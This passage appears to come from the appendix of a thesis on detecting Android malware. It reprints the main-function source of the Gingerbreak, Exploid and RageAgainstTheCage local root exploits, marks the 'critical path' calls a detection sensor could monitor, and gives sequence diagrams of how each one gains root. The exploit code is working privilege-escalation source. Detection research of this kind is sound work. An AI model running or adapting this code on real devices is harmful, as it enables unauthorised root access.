char buf[0x1000];
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
struct msghdr msg = {&snl, sizeof(snl),
&iov, 1, NULL, 0, 0};
int sock = -1, n = 0;
do {
find_vold();
usleep(10000);
} while (!vold.found);
usleep(200000);
memset(buf, 0, sizeof(buf));
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
if ((sock = socket(PF_NETLINK , SOCK_DGRAM ,
NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");
snl.nl_pid = vold.pid;
memset(buf, 0, sizeof(buf));
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n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%c"
"SUBSYSTEM=block%cDEVPATH=%s%cMAJOR=179"
"%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d",
0, 0, 0, vold.device, 0, 0, vold.system,
0, 0, -idx);
msg.msg_iov->iov_len = n;
n = sendmsg(sock, &msg, 0); /* CRITICAL PATH! */
if (n < 0 || oneshot) {
close(sock);
return n;
}
usleep(500000);
/* Trigger any of the GOT overwriten
* strcmp(), atoi(), strdup() etc.
* inside vold main binary.
* Arent we smart? Using old school
* technique from ’99 to fsck NX while others
* re-invent "ROP". Wuhahahahaha!!!
*/
if (honeycomb) {
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%c"
"SUBSYSTEM=block%cSEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",
0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh,
0, bsh, 0);
} else if (froyo) {
n = snprintf(buf, sizeof(buf),
"@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%cMAJOR=179%cMINOR=%d %c"
"DEVTYPE=harder%cPARTN=1",
0, 0, 0, bsh, 0, 0, vold.system, 0, 0);
} else {
n = snprintf(buf, sizeof(buf),
"%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
"SEQNUM=%s%cDEVPATH=%s%cMAJOR=179%c"
"MINOR=%d%cDEVTYPE=harder%cPARTN=1",
bsh, bsh, 0, bsh, 0, bsh, 0, bsh,
0, bsh, 0, 0, vold.system, 0, 0);
}
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msg.msg_iov->iov_len = n;
n = sendmsg(sock, &msg, 0);
close(sock);
return n;
}
Listing D.1: Critical Path Inside Gingerbreak
D.2 Critical path for Exploid
Just like Gingerbreak, Exploid sends a message over NETLINK_KOBJECT_UEVENT.
In Exploid’s main function, the exploit sends a datagram packet over sendmsg(2) using
the NETLINK_KOBJECT_UEVENT protocol. The message fools init to run sqlite_stmt_
journals/hotplug (the malware) with root privileges the next time a hotplug event
occurs. For example, toggling the WiFi feature or plugging in a secure digital (SD) card
are hotplug events. If sendmsg(2) fails, the exploit cannot run. A sensor monitoring
sendmsg(2) for user processes using NETLINK_KOBJECT_UEVENT will detect the exploit.
Listing D.2 shows the main function source code for Exploid.
int main(int argc, char **argv, char **env)
{
/* code snipped */
printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
memset(&snl, 0, sizeof(snl));
snl.nl_pid = 1;
snl.nl_family = AF_NETLINK;
if ((sock = socket(PF_NETLINK , SOCK_DGRAM ,
NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");
close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
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die("[-] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug", "data");
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c",
0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");
if (sendmsg(sock, &msg, 0) < 0) /* CRITICAL PATH! */
die("[-] sendmsg");
close(sock);
printf("[*] Try to invoke hotplug now, clicking at the"
" wireless\n"
"[*] settings, plugin USB key etc.\n"
"[*] You succeeded if you find /system/bin/"
"rootshell.\n"
"[*] GUI might hang/restart meanwhile"
" so be patient.\n");
sleep(3);
return 0;
}
Listing D.2: Critical path inside Exploid
D.3 Critical path for RageAgainstTheCage
For RageAgainstTheCage, the fork bomb against the kernel provides a critical
path for detection. Inside the RATC’s main function, the exploit calls fork(2) until
the application reaches RLIMIT_NPROC. By monitoring applications which reach their
RLIMIT_NPROC quota, the sensor can detect fork bombs and RATC. To further improve
detection, a sensor inside adb.c could report failed system calls to setuid(2) and
setgid(2). Listing D.3 shows the main function for RATC.
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
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struct rlimit rl;
printf("[*] CVE-2010-EASY Android local root "
"exploit (C) 2010 by 743C\n\n");
printf("[*] checking NPROC limit ...\n");
if (getrlimit(RLIMIT_NPROC , &rl) < 0)
die("[-] getrlimit");
if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would "
"just crash machine. Exiting.\n");
exit(1);
}
printf("[+] RLIMIT_NPROC={%lu, %lu}\n",
rl.rlim_cur , rl.rlim_max);
printf("[*] Searching for adb ...\n");
adb_pid = find_adb();
if (!adb_pid)
die("[-] Cannot find adb");
printf("[+] Found adb as PID %d\n", adb_pid);
printf("[*] Spawning children. Dont type anything "
"and wait for reset!\n");
printf("[*]\n[*] If you like what we are doing you "
"can send us PayPal money to\n"
"[*] <redacted> so we can compensate time,"
" effort and HW costs.\n"
"[*] If you are a company and feel like you "
"profit from our work,\n"
"[*] we also accept donations > 1000 USD!\n");
printf("[*]\n[*] adb connection will be reset. restart "
"adb server on desktop and re-login.\n");
sleep(5);
if (fork() > 0) /* CRITICAL PATH! */
exit(0);
setsid();
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pipe(pepe);
/* generate many (zombie) shell-user processes so
* restarting adb’s setuid() will fail.
* The whole thing is a bit racy, since when we kill adb
* there is one more process slot left which we need to
* fill before adb reaches setuid(). Thats why we
* fork-bomb in a seprate process.
*/
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}
close(pepe[1]);
read(pepe[0], &c, 1);
restart_adb(adb_pid);
if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
}
wait_for_root_adb(adb_pid);
return 0;
}
Listing D.3: Critical path inside RageAgainstTheCage
85
Appendix: Sequence Diagrams
E.1 Exploid Sequence Diagram
Figure E.1 shows a sequence diagram of how Exploid roots the device. Section 4.5
further explains how the exploit works.
UDEVExploid OS
Copy malware file to /sqlite_stmt_journals/hotplug
UDEV runs Exploid as ROOT
Create a blank file to /sqlite_stmt_journals/loading
Create a symlink from /sqlite_stmt_journals/data to /proc/sys/kernel/hotplug
Spoof hotplug event to UDEV using PF_NETLINK
Actual hotplug event occurs
Figure E.1: Sequence Diagram of Exploid exploit
E.2 Gingerbreak Sequence Diagram
Figure E.2 shows a sequence diagram of how Gingerbreak roots the device.
Section 4.4 further explains how the exploit works.
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[ Brute Force .GOT table to replace strcmp(3) with system(3) ]
VOLDGingerbreak OS
Get Vold's PID from /proc/netlink
Vold’s PID
Get Vold’s GOT Address Range by reading ELF-32 file headers
Find SD Card Location from /etc/vold.fstab
SD Card Location
Locate system(3) and strcmp(3) symbols from /system/libc/libc.so
system(3) and strcmp(3)
Send Message over PF_NETLINK
[ON FAILURE] Check Logcat error messages for better accuracy on next attempt
Send Message Over PF_NETLNK
Vold overwrites its strcmp with system
Vold Runs Malware As Root
Vold calls system(“/path/malware”, …)
Instead of strcmp(“/path/malware”, ...)
Figure E.2: Sequence Diagram of Gingerbreak exploit
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E.3 RageAgainstTheCage Sequence Diagram
Figure E.3 shows a sequence diagram of how Gingerbreak roots the device.
Section 4.6 further explains how the exploit works.
ADBRATC OS
Get ADB’s PID from /proc/%d/cmdline 
ADB’s PID
FORK BOMB
FAILED : RLIMIT_NPROC REACHED
Find RLIMIT_NPROC
RLMIT_NPROC
Kill ADB
Restart ADB
FORK BOMB
Setuid (AID_SHELL)
FAILED : RLMIT_NPROC REACHED
Restart Process
Restart As ROOT
Figure E.3: Sequence Diagram of RATC exploit
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